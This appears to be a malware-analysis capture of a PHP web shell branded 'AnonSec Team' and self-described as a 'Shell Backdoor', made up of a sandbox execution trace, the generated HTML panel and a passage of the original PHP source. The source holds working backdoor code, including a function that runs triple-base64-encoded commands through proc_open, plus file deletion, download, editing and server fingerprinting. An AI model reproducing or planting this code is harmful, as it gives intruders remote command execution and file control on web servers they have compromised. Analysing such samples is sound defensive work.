3	42	0	0.002670	513432	substr	0		/var/www/html/uploads/anon.php	603	2	'40777'	-4
3	42	1	0.002691	513528
3	42	R			'0777'
2		A						/var/www/html/uploads/anon.php	603	$izin = '0777'
2	39	1	0.002740	513144
2	39	R			'0777'
2	43	0	0.002764	513112	is_writable	0		/var/www/html/uploads/anon.php	542	1	'/var/www/html/uploads/..'
2	43	1	0.002790	513152
2	43	R			TRUE
2	44	0	0.002816	513112	is_dir	0		/var/www/html/uploads/anon.php	532	1	'/var/www/html/uploads/.htaccess'
2	44	1	0.002841	513152
2	44	R			FALSE
2	45	0	0.002866	513112	is_dir	0		/var/www/html/uploads/anon.php	532	1	'/var/www/html/uploads/anon.php'
2	45	1	0.002890	513152
2	45	R			FALSE
2	46	0	0.002914	513112	is_dir	0		/var/www/html/uploads/anon.php	532	1	'/var/www/html/uploads/data'
2	46	1	0.002937	513152
2	46	R			TRUE
2	47	0	0.002961	513336	filedate	1		/var/www/html/uploads/anon.php	536	1	'/var/www/html/uploads/data'
3	48	0	0.002980	513336	filemtime	0		/var/www/html/uploads/anon.php	280	1	'/var/www/html/uploads/data'
3	48	1	0.002997	513376
3	48	R			1676246216
3	49	0	0.003014	513336	date	0		/var/www/html/uploads/anon.php	280	2	'F d Y g:i:s'	1676246216
3	49	1	0.003053	513664
3	49	R			'February 12 2023 6:56:56'
2	47	1	0.003075	513592
2	47	R			'February 12 2023 6:56:56'
2	50	0	0.003096	513368	owner	1		/var/www/html/uploads/anon.php	537	1	'/var/www/html/uploads/data'
3	51	0	0.003112	513368	function_exists	0		/var/www/html/uploads/anon.php	233	1	'posix_getpwuid'
3	51	1	0.003130	513408
3	51	R			TRUE
3	52	0	0.003147	513368	fileowner	0		/var/www/html/uploads/anon.php	234	1	'/var/www/html/uploads/data'
3	52	1	0.003164	513408
3	52	R			0
3	53	0	0.003180	513368	posix_getpwuid	0		/var/www/html/uploads/anon.php	234	1	0
3	53	1	0.003214	514168
3	53	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2		A						/var/www/html/uploads/anon.php	234	$tod = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2	50	1	0.003267	513416
2	50	R			'<center>root</center>'
2	54	0	0.003288	513112	is_writable	0		/var/www/html/uploads/anon.php	539	1	'/var/www/html/uploads/data'
2	54	1	0.003312	513152
2	54	R			TRUE
2	55	0	0.003331	513112	statusnya	1		/var/www/html/uploads/anon.php	541	1	'/var/www/html/uploads/data'
3	56	0	0.003348	513112	fileperms	0		/var/www/html/uploads/anon.php	603	1	'/var/www/html/uploads/data'
3	56	1	0.003366	513152
3	56	R			16895
3	57	0	0.003384	513112	sprintf	0		/var/www/html/uploads/anon.php	603	2	'%o'	16895
3	57	1	0.003402	513496
3	57	R			'40777'
3	58	0	0.003418	513432	substr	0		/var/www/html/uploads/anon.php	603	2	'40777'	-4
3	58	1	0.003434	513528
3	58	R			'0777'
2		A						/var/www/html/uploads/anon.php	603	$izin = '0777'
2	55	1	0.003467	513144
2	55	R			'0777'
2	59	0	0.003486	513112	is_writable	0		/var/www/html/uploads/anon.php	542	1	'/var/www/html/uploads/data'
2	59	1	0.003508	513152
2	59	R			TRUE
2	60	0	0.003529	513120	is_dir	0		/var/www/html/uploads/anon.php	532	1	'/var/www/html/uploads/prepend.php'
2	60	1	0.003551	513168
2	60	R			FALSE
2	61	0	0.003572	513112	is_file	0		/var/www/html/uploads/anon.php	561	1	'/var/www/html/uploads/.'
2	61	1	0.003592	513136
2	61	R			FALSE
2	62	0	0.003610	513104	is_file	0		/var/www/html/uploads/anon.php	561	1	'/var/www/html/uploads/..'
2	62	1	0.003629	513152
2	62	R			FALSE
2	63	0	0.003646	513112	is_file	0		/var/www/html/uploads/anon.php	561	1	'/var/www/html/uploads/.htaccess'
2	63	1	0.003665	513152
2	63	R			TRUE
2	64	0	0.003682	513112	filesize	0		/var/www/html/uploads/anon.php	562	1	'/var/www/html/uploads/.htaccess'
2	64	1	0.003699	513152
2	64	R			64
1		A						/var/www/html/uploads/anon.php	562	$size = 0.0625
2	65	0	0.003732	513056	round	0		/var/www/html/uploads/anon.php	563	2	0.0625	3
2	65	1	0.003749	513128
2	65	R			0.063
1		A						/var/www/html/uploads/anon.php	563	$size = 0.063
1		A						/var/www/html/uploads/anon.php	567	$size = '0.063 KB'
2	66	0	0.003798	513152	cekfile	1		/var/www/html/uploads/anon.php	571	1	'/var/www/html/uploads/.htaccess'
2	66	1	0.003815	513152
2	66	R			'<i class="fa fa-file" style="color: #d6d4ce"></i> '
2	67	0	0.003837	513408	filedate	1		/var/www/html/uploads/anon.php	573	1	'/var/www/html/uploads/.htaccess'
3	68	0	0.003854	513408	filemtime	0		/var/www/html/uploads/anon.php	280	1	'/var/www/html/uploads/.htaccess'
3	68	1	0.003871	513448
3	68	R			1676246216
3	69	0	0.003894	513408	date	0		/var/www/html/uploads/anon.php	280	2	'F d Y g:i:s'	1676246216
3	69	1	0.003935	513736
3	69	R			'February 12 2023 6:56:56'
2	67	1	0.003956	513664
2	67	R			'February 12 2023 6:56:56'
2	70	0	0.003976	513472	owner	1		/var/www/html/uploads/anon.php	574	1	'/var/www/html/uploads/.htaccess'
3	71	0	0.003993	513472	function_exists	0		/var/www/html/uploads/anon.php	233	1	'posix_getpwuid'
3	71	1	0.004010	513512
3	71	R			TRUE
3	72	0	0.004028	513472	fileowner	0		/var/www/html/uploads/anon.php	234	1	'/var/www/html/uploads/.htaccess'
3	72	1	0.004045	513512
3	72	R			0
3	73	0	0.004061	513472	posix_getpwuid	0		/var/www/html/uploads/anon.php	234	1	0
3	73	1	0.004093	514272
3	73	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2		A						/var/www/html/uploads/anon.php	234	$tod = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2	70	1	0.004147	513520
2	70	R			'<center>root</center>'
2	74	0	0.004167	513152	is_writable	0		/var/www/html/uploads/anon.php	576	1	'/var/www/html/uploads/.htaccess'
2	74	1	0.004189	513192
2	74	R			FALSE
2	75	0	0.004207	513152	is_readable	0		/var/www/html/uploads/anon.php	577	1	'/var/www/html/uploads/.htaccess'
2	75	1	0.004227	513192
2	75	R			TRUE
2	76	0	0.004244	513152	statusnya	1		/var/www/html/uploads/anon.php	578	1	'/var/www/html/uploads/.htaccess'
3	77	0	0.004261	513152	fileperms	0		/var/www/html/uploads/anon.php	603	1	'/var/www/html/uploads/.htaccess'
3	77	1	0.004278	513192
3	77	R			33188
3	78	0	0.004295	513152	sprintf	0		/var/www/html/uploads/anon.php	603	2	'%o'	33188
3	78	1	0.004316	513536
3	78	R			'100644'
3	79	0	0.004428	513472	substr	0		/var/www/html/uploads/anon.php	603	2	'100644'	-4
3	79	1	0.004448	513568
3	79	R			'0644'
2		A						/var/www/html/uploads/anon.php	603	$izin = '0644'
2	76	1	0.004480	513184
2	76	R			'0644'
2	80	0	0.004499	513152	is_writable	0		/var/www/html/uploads/anon.php	579	1	'/var/www/html/uploads/.htaccess'
2	80	1	0.004522	513192
2	80	R			FALSE
2	81	0	0.004540	513152	is_readable	0		/var/www/html/uploads/anon.php	579	1	'/var/www/html/uploads/.htaccess'
2	81	1	0.004560	513192
2	81	R			TRUE
2	82	0	0.004578	513096	class_exists	0		/var/www/html/uploads/anon.php	588	1	'ZipArchive'
2	82	1	0.004597	513136
2	82	R			FALSE
2	83	0	0.004615	513152	is_file	0		/var/www/html/uploads/anon.php	561	1	'/var/www/html/uploads/anon.php'
2	83	1	0.004635	513192
2	83	R			TRUE
2	84	0	0.004652	513152	filesize	0		/var/www/html/uploads/anon.php	562	1	'/var/www/html/uploads/anon.php'
2	84	1	0.004669	513192
2	84	R			23425
1		A						/var/www/html/uploads/anon.php	562	$size = 22.8759765625
2	85	0	0.004701	513056	round	0		/var/www/html/uploads/anon.php	563	2	22.8759765625	3
2	85	1	0.004718	513128
2	85	R			22.876
1		A						/var/www/html/uploads/anon.php	563	$size = 22.876
1		A						/var/www/html/uploads/anon.php	567	$size = '22.876 KB'
2	86	0	0.004765	513152	cekfile	1		/var/www/html/uploads/anon.php	571	1	'/var/www/html/uploads/anon.php'
2	86	1	0.004783	513152
2	86	R			'<i class="fa fa-file" style="color: #d6d4ce"></i> '
2	87	0	0.004805	513408	filedate	1		/var/www/html/uploads/anon.php	573	1	'/var/www/html/uploads/anon.php'
3	88	0	0.004822	513408	filemtime	0		/var/www/html/uploads/anon.php	280	1	'/var/www/html/uploads/anon.php'
3	88	1	0.004839	513448
3	88	R			1676246216
3	89	0	0.004856	513408	date	0		/var/www/html/uploads/anon.php	280	2	'F d Y g:i:s'	1676246216
3	89	1	0.004896	513736
3	89	R			'February 12 2023 6:56:56'
2	87	1	0.004916	513664
2	87	R			'February 12 2023 6:56:56'
2	90	0	0.004937	513472	owner	1		/var/www/html/uploads/anon.php	574	1	'/var/www/html/uploads/anon.php'
3	91	0	0.004952	513472	function_exists	0		/var/www/html/uploads/anon.php	233	1	'posix_getpwuid'
3	91	1	0.004969	513512
3	91	R			TRUE
3	92	0	0.004986	513472	fileowner	0		/var/www/html/uploads/anon.php	234	1	'/var/www/html/uploads/anon.php'
3	92	1	0.005003	513512
3	92	R			1000
3	93	0	0.005020	513472	posix_getpwuid	0		/var/www/html/uploads/anon.php	234	1	1000
3	93	1	0.005062	514288
3	93	R			['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
2		A						/var/www/html/uploads/anon.php	234	$tod = ['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
2	90	1	0.005127	513528
2	90	R			'<center>osboxes</center>'
2	94	0	0.005149	513152	is_writable	0		/var/www/html/uploads/anon.php	576	1	'/var/www/html/uploads/anon.php'
2	94	1	0.005170	513192
2	94	R			FALSE
2	95	0	0.005188	513152	is_readable	0		/var/www/html/uploads/anon.php	577	1	'/var/www/html/uploads/anon.php'
2	95	1	0.005208	513192
2	95	R			TRUE
2	96	0	0.005226	513152	statusnya	1		/var/www/html/uploads/anon.php	578	1	'/var/www/html/uploads/anon.php'
3	97	0	0.005243	513152	fileperms	0		/var/www/html/uploads/anon.php	603	1	'/var/www/html/uploads/anon.php'
3	97	1	0.005260	513192
3	97	R			33204
3	98	0	0.005276	513152	sprintf	0		/var/www/html/uploads/anon.php	603	2	'%o'	33204
3	98	1	0.005294	513536
3	98	R			'100664'
3	99	0	0.005311	513472	substr	0		/var/www/html/uploads/anon.php	603	2	'100664'	-4
3	99	1	0.005328	513568
3	99	R			'0664'
2		A						/var/www/html/uploads/anon.php	603	$izin = '0664'
2	96	1	0.005359	513184
2	96	R			'0664'
2	100	0	0.005377	513152	is_writable	0		/var/www/html/uploads/anon.php	579	1	'/var/www/html/uploads/anon.php'
2	100	1	0.005397	513192
2	100	R			FALSE
2	101	0	0.005414	513152	is_readable	0		/var/www/html/uploads/anon.php	579	1	'/var/www/html/uploads/anon.php'
2	101	1	0.005434	513192
2	101	R			TRUE
2	102	0	0.005591	513096	class_exists	0		/var/www/html/uploads/anon.php	588	1	'ZipArchive'
2	102	1	0.005611	513136
2	102	R			FALSE
2	103	0	0.005630	513152	is_file	0		/var/www/html/uploads/anon.php	561	1	'/var/www/html/uploads/data'
2	103	1	0.005650	513192
2	103	R			FALSE
2	104	0	0.005668	513160	is_file	0		/var/www/html/uploads/anon.php	561	1	'/var/www/html/uploads/prepend.php'
2	104	1	0.005688	513208
2	104	R			TRUE
2	105	0	0.005706	513168	filesize	0		/var/www/html/uploads/anon.php	562	1	'/var/www/html/uploads/prepend.php'
2	105	1	0.005724	513208
2	105	R			57
1		A						/var/www/html/uploads/anon.php	562	$size = 0.0556640625
2	106	0	0.005756	513064	round	0		/var/www/html/uploads/anon.php	563	2	0.0556640625	3
2	106	1	0.005774	513136
2	106	R			0.056
1		A						/var/www/html/uploads/anon.php	563	$size = 0.056
1		A						/var/www/html/uploads/anon.php	567	$size = '0.056 KB'
2	107	0	0.005821	513168	cekfile	1		/var/www/html/uploads/anon.php	571	1	'/var/www/html/uploads/prepend.php'
2	107	1	0.005838	513168
2	107	R			'<i class="fa fa-file" style="color: #d6d4ce"></i> '
2	108	0	0.005861	513424	filedate	1		/var/www/html/uploads/anon.php	573	1	'/var/www/html/uploads/prepend.php'
3	109	0	0.005879	513424	filemtime	0		/var/www/html/uploads/anon.php	280	1	'/var/www/html/uploads/prepend.php'
3	109	1	0.005896	513464
3	109	R			1676246216
3	110	0	0.005913	513424	date	0		/var/www/html/uploads/anon.php	280	2	'F d Y g:i:s'	1676246216
3	110	1	0.005953	513752
3	110	R			'February 12 2023 6:56:56'
2	108	1	0.005974	513680
2	108	R			'February 12 2023 6:56:56'
2	111	0	0.005994	513488	owner	1		/var/www/html/uploads/anon.php	574	1	'/var/www/html/uploads/prepend.php'
3	112	0	0.006011	513488	function_exists	0		/var/www/html/uploads/anon.php	233	1	'posix_getpwuid'
3	112	1	0.006037	513528
3	112	R			TRUE
3	113	0	0.006055	513488	fileowner	0		/var/www/html/uploads/anon.php	234	1	'/var/www/html/uploads/prepend.php'
3	113	1	0.006072	513528
3	113	R			0
3	114	0	0.006088	513488	posix_getpwuid	0		/var/www/html/uploads/anon.php	234	1	0
3	114	1	0.006120	514288
3	114	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2		A						/var/www/html/uploads/anon.php	234	$tod = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2	111	1	0.006176	513536
2	111	R			'<center>root</center>'
2	115	0	0.006196	513168	is_writable	0		/var/www/html/uploads/anon.php	576	1	'/var/www/html/uploads/prepend.php'
2	115	1	0.006218	513208
2	115	R			FALSE
2	116	0	0.006235	513168	is_readable	0		/var/www/html/uploads/anon.php	577	1	'/var/www/html/uploads/prepend.php'
2	116	1	0.006256	513208
2	116	R			TRUE
2	117	0	0.006273	513168	statusnya	1		/var/www/html/uploads/anon.php	578	1	'/var/www/html/uploads/prepend.php'
3	118	0	0.006290	513168	fileperms	0		/var/www/html/uploads/anon.php	603	1	'/var/www/html/uploads/prepend.php'
3	118	1	0.006308	513208
3	118	R			33261
3	119	0	0.006330	513168	sprintf	0		/var/www/html/uploads/anon.php	603	2	'%o'	33261
3	119	1	0.006348	513552
3	119	R			'100755'
3	120	0	0.006365	513488	substr	0		/var/www/html/uploads/anon.php	603	2	'100755'	-4
3	120	1	0.006382	513584
3	120	R			'0755'
2		A						/var/www/html/uploads/anon.php	603	$izin = '0755'
2	117	1	0.006413	513200
2	117	R			'0755'
2	121	0	0.006431	513168	is_writable	0		/var/www/html/uploads/anon.php	579	1	'/var/www/html/uploads/prepend.php'
2	121	1	0.006452	513208
2	121	R			FALSE
2	122	0	0.006469	513168	is_readable	0		/var/www/html/uploads/anon.php	579	1	'/var/www/html/uploads/prepend.php'
2	122	1	0.006489	513208
2	122	R			TRUE
2	123	0	0.006507	513104	class_exists	0		/var/www/html/uploads/anon.php	588	1	'ZipArchive'
2	123	1	0.006525	513144
2	123	R			FALSE
2	124	0	0.006543	513104	author	1		/var/www/html/uploads/anon.php	600	0
			0.006586	431712
TRACE END   [2023-02-12 21:57:22.602002]


Generated HTML code

<html><head>
    <title>AnonSec Team</title>
    <meta name="author" content="Anon7">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description" content="Shell Backdoor">
    <meta property="og:description" content="Shell Backdoor">
    <meta property="og:image" content="https://i.imgur.com/6RSyvoJ.jpg">
    <meta name="robots" content="noindex">
    <meta name="googlebot" content="noindex">
    <meta name="theme-color" content="#1f1f1f">
</head>
<body bgcolor="#1f1f1f" text="#ffffff">
<link href="" rel="stylesheet" type="text/css">
<link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.13.0/css/all.min.css" rel="stylesheet">
<style>
    @import url('https://fonts.googleapis.com/css?family=Dosis');
    @import url('https://fonts.googleapis.com/css?family=Bungee');
body {
    font-family: "Dosis", cursive;
    text-shadow:0px 0px 1px #757575;
}

body::-webkit-scrollbar {
  width: 12px;
}

body::-webkit-scrollbar-track {
  background: #1f1f1f;
}

body::-webkit-scrollbar-thumb {
  background-color: #1f1f1f;
  border: 3px solid gray;
}

#content tr:hover {
    background-color: #636263;
    text-shadow:0px 0px 10px #fff;
}

#content .first {
    background-color: #25383C;
}

#content .first:hover {
    background-color: #25383C
    text-shadow:0px 0px 1px #757575;
}

table {
    border: 1px #000000 dotted;
    table-layout: fixed;
    word-break: break-all;
}

textarea {
    max-width: 95%;
    max-height: 100%;
    resize: none;
    outline: none;
    overflow: auto;
    background: transparent;
    color: #fff;
}

textarea::-webkit-scrollbar {
  width: 12px;
}

textarea::-webkit-scrollbar-track {
  background: #1f1f1f;
}

textarea::-webkit-scrollbar-thumb {
  background-color: #1f1f1f;
  border: 3px solid gray;
}

a {
    color: #ffffff;
    text-decoration: none;
}

a:hover {
    color: gold;
    text-shadow:0px 0px 10px #ffffff;
}

input,select,textarea {
    border: 1px #000000 solid;
    -moz-border-radius: 5px;
    -webkit-border-radius:5px;
    border-radius:5px;
}

.gas {
    background-color: #1f1f1f;
    color: #ffffff;
    cursor: pointer;
}

select {
    background-color: transparent;
    color: #ffffff;
}

select:after {
    cursor: pointer;
}

.linka {
    background-color: transparent;
    color: #ffffff;
}

.up {
    background-color: transparent;
    color: #fff;
}

option {
    background-color: #1f1f1f;
}

::-webkit-file-upload-button {
  background: transparent;
  color: #fff;
  border-color: #fff;
  cursor: pointer;
}
</style>
<script>
function setfilename(val)
  {
    filename = val.split('\\').pop().split('/').pop();
    //filename = filename.substring(0, filename.lastIndexOf('.'));
    document.getElementById('namanya').value = filename;
  }

async function loadFile(file) {
    let text = await file.text();
    document.getElementById("bepasdata").innerHTML = text;
}
</script>
<center>
<font face="Bungee" size="5">AnonSec Team</font></center>
<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
<tbody><tr><td>
Server IP : <font color="gold">::1</font> &nbsp;/&nbsp; Your IP : <font color="gold">::1</font><br>Web Server : <font color="gold">Apache/2.4.52 (Ubuntu)</font><br>System : <font color="gold">Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64</font><br>User : <font color="gold">osboxes&nbsp;</font>( <font color="gold">1000</font>)<br>PHP Version : <font color="gold">7.2.34-37+ubuntu22.04.1+deb.sury.org+1</font><br>Disable Function : <font color="red">pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,</font><br>MySQL : <font color="red">OFF</font> &nbsp;|&nbsp; cURL : <font color="green">ON</font> &nbsp;|&nbsp; WGET : <font color="green">ON</font> &nbsp;|&nbsp; Perl : <font color="green">ON</font> &nbsp;|&nbsp; Python : <font color="red">OFF</font><br>Directory (<font color="green">0777</font>) : &nbsp;<a href="?path=/">/</a><a href="?path=/var">var</a>/<a href="?path=/var/www">www</a>/<a href="?path=/var/www/html">html</a>/</td></tr><tr><td></td></tr></tbody></table><br><table width="100%" border="0" cellpadding="3" cellspacing="1" align="center"><tbody><tr><th>[ &nbsp;<a href="/anon.php">Home</a>&nbsp; ]</th><th>[ &nbsp;<a href="?path=/var/www/html&amp;komend=gaskan">C0mmand</a>&nbsp; ]</th><th>[ &nbsp;<a href="?path=/var/www/html&amp;upload=gaskan">Upload File</a>&nbsp; ]</th></tr></tbody></table><br><div id="content"><table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
<tbody><tr class="first">
<td><center>Name</center></td>
<td><center>Size</center></td>
<td><center>Last Modified</center></td>
<td><center>Owner</center></td>
<td><center>Permissions</center></td>
<td><center>Options</center></td>
</tr><tr>
    <td><i class="fa fa-folder" style="color: #ffe9a2"></i> <a href="?path=/var/www/html/..">..</a></td>
    <td><center>--</center></td>
    <td><center>February 12 2023 6:56:49</center></td>
    <td><center>root</center></td>
    <td><center><font color="green">0777</font></center></td>
    <td><center><form method="POST" action="?pilihan&amp;path=/var/www/html">
    <select name="pilih">
    <option value=""></option>
    <option value="hapus">Delete</option>
    <option value="gantinama">Rename</option>
    </select>
    <input type="hidden" name="type" value="dir">
    <input type="hidden" name="name" value="..">
    <input type="hidden" name="path" value="/var/www/html/..">
    <input type="submit" class="gas" value=">">
    </form></center></td>
    </tr><tr class="first"><td></td><td></td><td></td><td></td><td></td><td></td></tr><tr>
<td><i class="fa fa-file" style="color: #d6d4ce"></i> <a href="?fileloc=/var/www/html/anon.php&amp;path=/var/www/html">anon.php</a></td>
<td><center>22.876 KB</center></td>
<td><center>February 12 2023 6:56:49</center></td>
<td><center>osboxes</center></td>
<td><center>0664</center></td><td><center>
<form method="post" action="?pilihan&amp;path=/var/www/html">
<select name="pilih">
<option value=""></option>
<option value="hapus">Delete</option>
<option value="dunlut">Download</option>
<option value="gantinama">Rename</option>
<option value="edit">Edit</option></select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="anon.php">
<input type="hidden" name="path" value="/var/www/html/anon.php">
<input type="submit" class="gas" value=">">
</form></center></td>
</tr><tr>
<td><i class="fa fa-file" style="color: #d6d4ce"></i> <a href="?fileloc=/var/www/html/beneri.se_malware_analysis&amp;path=/var/www/html">beneri.se_malware_analysis</a></td>
<td><center>0 KB</center></td>
<td><center>February 12 2023 6:56:49</center></td>
<td><center>root</center></td>
<td><center>0644</center></td><td><center>
<form method="post" action="?pilihan&amp;path=/var/www/html">
<select name="pilih">
<option value=""></option>
<option value="hapus">Delete</option>
<option value="dunlut">Download</option>
<option value="gantinama">Rename</option>
<option value="edit">Edit</option></select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="beneri.se_malware_analysis">
<input type="hidden" name="path" value="/var/www/html/beneri.se_malware_analysis">
<input type="submit" class="gas" value=">">
</form></center></td>
</tr></tbody></table><center><br>AnonSec - 2021</center></div></body></html>

Original PHP code

<!-- Thanks to all member of AnonSec Team -->
<!-- Recode ? Silahkan, tapi jangan lupa cantumkan nama author nya xixixi -->
<!-- ChokkaXploiter - AnonsecTeam -->



<!DOCTYPE html>
<html>
<head>
    <title>AnonSec Team</title>
    <meta name="author" content="Anon7">
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <meta name="description" content="Shell Backdoor">
    <meta property="og:description" content="Shell Backdoor">
    <meta property="og:image" content="https://i.imgur.com/6RSyvoJ.jpg">
    <meta name="robots" content="noindex">
    <meta name="googlebot" content="noindex">
    <meta name="theme-color" content="#1f1f1f">
</head>
<body bgcolor="#1f1f1f" text="#ffffff">
<link href="" rel="stylesheet" type="text/css">
<link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.13.0/css/all.min.css" rel="stylesheet">
<style>
    @import url('https://fonts.googleapis.com/css?family=Dosis');
    @import url('https://fonts.googleapis.com/css?family=Bungee');
body {
    font-family: "Dosis", cursive;
    text-shadow:0px 0px 1px #757575;
}

body::-webkit-scrollbar {
  width: 12px;
}

body::-webkit-scrollbar-track {
  background: #1f1f1f;
}

body::-webkit-scrollbar-thumb {
  background-color: #1f1f1f;
  border: 3px solid gray;
}

#content tr:hover {
    background-color: #636263;
    text-shadow:0px 0px 10px #fff;
}

#content .first {
    background-color: #25383C;
}

#content .first:hover {
    background-color: #25383C
    text-shadow:0px 0px 1px #757575;
}

table {
    border: 1px #000000 dotted;
    table-layout: fixed;
    word-break: break-all;
}

textarea {
    max-width: 95%;
    max-height: 100%;
    resize: none;
    outline: none;
    overflow: auto;
    background: transparent;
    color: #fff;
}

textarea::-webkit-scrollbar {
  width: 12px;
}

textarea::-webkit-scrollbar-track {
  background: #1f1f1f;
}

textarea::-webkit-scrollbar-thumb {
  background-color: #1f1f1f;
  border: 3px solid gray;
}

a {
    color: #ffffff;
    text-decoration: none;
}

a:hover {
    color: gold;
    text-shadow:0px 0px 10px #ffffff;
}

input,select,textarea {
    border: 1px #000000 solid;
    -moz-border-radius: 5px;
    -webkit-border-radius:5px;
    border-radius:5px;
}

.gas {
    background-color: #1f1f1f;
    color: #ffffff;
    cursor: pointer;
}

select {
    background-color: transparent;
    color: #ffffff;
}

select:after {
    cursor: pointer;
}

.linka {
    background-color: transparent;
    color: #ffffff;
}

.up {
    background-color: transparent;
    color: #fff;
}

option {
    background-color: #1f1f1f;
}

::-webkit-file-upload-button {
  background: transparent;
  color: #fff;
  border-color: #fff;
  cursor: pointer;
}
</style>
<script>
function setfilename(val)
  {
    filename = val.split('\\').pop().split('/').pop();
    //filename = filename.substring(0, filename.lastIndexOf('.'));
    document.getElementById('namanya').value = filename;
  }

async function loadFile(file) {
    let text = await file.text();
    document.getElementById("bepasdata").innerHTML = text;
}
</script>
<center>
<font face="Bungee" size="5">AnonSec Team</font></center>
<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>
<?php
//@set_time_limit(0);
//@error_reporting(0);
//@http_response_code(404);

ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

$disfunc = @ini_get("disable_functions");
if (empty($disfunc)) {
    $disf = "<font color='gold'>NONE</font>";
} else {
    $disf = "<font color='red'>".$disfunc."</font>";
}

function author() {
    echo "<center><br>AnonSec - 2021</center>";
    exit();
}

function cekdir() {
    if (isset($_GET['path'])) {
        $lokasi = $_GET['path'];
    } else {
        $lokasi = getcwd();
    }
    if (is_writable($lokasi)) {
        return "<font color='green'>Writeable</font>";
    } else {
        return "<font color='red'>Writeable</font>";
    }
}

function cekroot() {
    if (is_writable($_SERVER['DOCUMENT_ROOT'])) {
        return "<font color='green'>Writeable</font>";
    } else {
        return "<font color='red'>Writeable</font>";
    }
}

function xrmdir($dir) {
    $items = scandir($dir);
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') {
            continue;
        }
        $path = $dir.'/'.$item;
        if (is_dir($path)) {
            xrmdir($path);
        } else {
            unlink($path);
        }
    }
    rmdir($dir);
}

function dunlut($file) {
    if (!is_readable($file)) {
        red("Cannot Download File / Unreadable File !");
        die();
    }
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($file).'"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($filepath));
    flush();
    readfile($file);
    die();
}

function owner($file) {
    if (function_exists("posix_getpwuid")) {
        $tod = @posix_getpwuid(fileowner($file));
        return "<center>".$tod['name']."</center>";
    } else {
        return "<center>".fileowner($file)."</center>";
    }
}

function cekwrite($lokasi) {
    $izin = substr(sprintf('%o', fileperms($lokasi)), -4);
    if (is_writable($lokasi)) {
        return "<font color=green>".$izin."</font>";
    } else {
        return "<font color=red>".$izin."</font>";
    }
}

function ekse($komend, $lokasi) {
    if (!function_exists("proc_open")) {
        die("proc_open function disabled !");
    } elseif (!function_exists("base64_decode")) {
        die("base64_decode function disabled !");
    }
    $komen = base64_decode(base64_decode(base64_decode($komend)));
    if (strpos($komend, "2>&1") === false) {
        $komen = base64_decode(base64_decode(base64_decode($komend)))." 2>&1";
    }
    $tod = @proc_open($komen, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $pipes, $lokasi);
    echo "<textarea rows='25' cols='100'>".htmlspecialchars(stream_get_contents($pipes[1]))."</textarea><br><br>";
}

function ipserv() {
    if (empty($_SERVER['SERVER_ADDR'])) {
        return gethostbyname($_SERVER['SERVER_NAME']);
        if (empty(gethostbyname($_SERVER['SERVER_NAME']))) {
            return $_SERVER['SERVER_NAME'];
        }
    } else {
        return $_SERVER['SERVER_ADDR'];
    }
}

function cekfile($file) {
     return '<i class="fa fa-file" style="color: #d6d4ce"></i> ';
}

function filedate($file) {
    return date("F d Y g:i:s", filemtime($file));
}

function unzip($file, $lokasi) {
    if (!is_readable($file)) {
        red("Cannot Unzip File / Unreadable File !");
        die();
    } elseif (strpos(file_get_contents($file), "\x50\x4b\x03\x04") === false) {
        red("This isn't Zip File !");
        die();
    }
    $zip = new ZipArchive;
    $res = $zip -> open($file);
    if ($res == true) {
        $zip -> extractTo($lokasi);
        $zip -> close();
        green("Success Unzip File !");
    } else {
        red("Failed to Unzip File !");
    }
}

function green($text) {
    echo "<center><font color='green'>".$text."</center></font>";
}

function red($text) {
    echo "<center><font color='red'>".$text."</center></font>";
}

echo "Server IP : <font color=gold>".ipserv()."</font> &nbsp;/&nbsp; Your IP : <font color=gold>".$_SERVER['REMOTE_ADDR']."</font><br>";
echo "Web Server : <font color='gold'>".$_SERVER['SERVER_SOFTWARE']."</font><br>";
echo "System : <font color='gold'>".php_uname()."</font><br>";
echo "User : <font color='gold'>".@get_current_user()."&nbsp;</font>( <font color='gold'>".@getmyuid()."</font>)<br>";
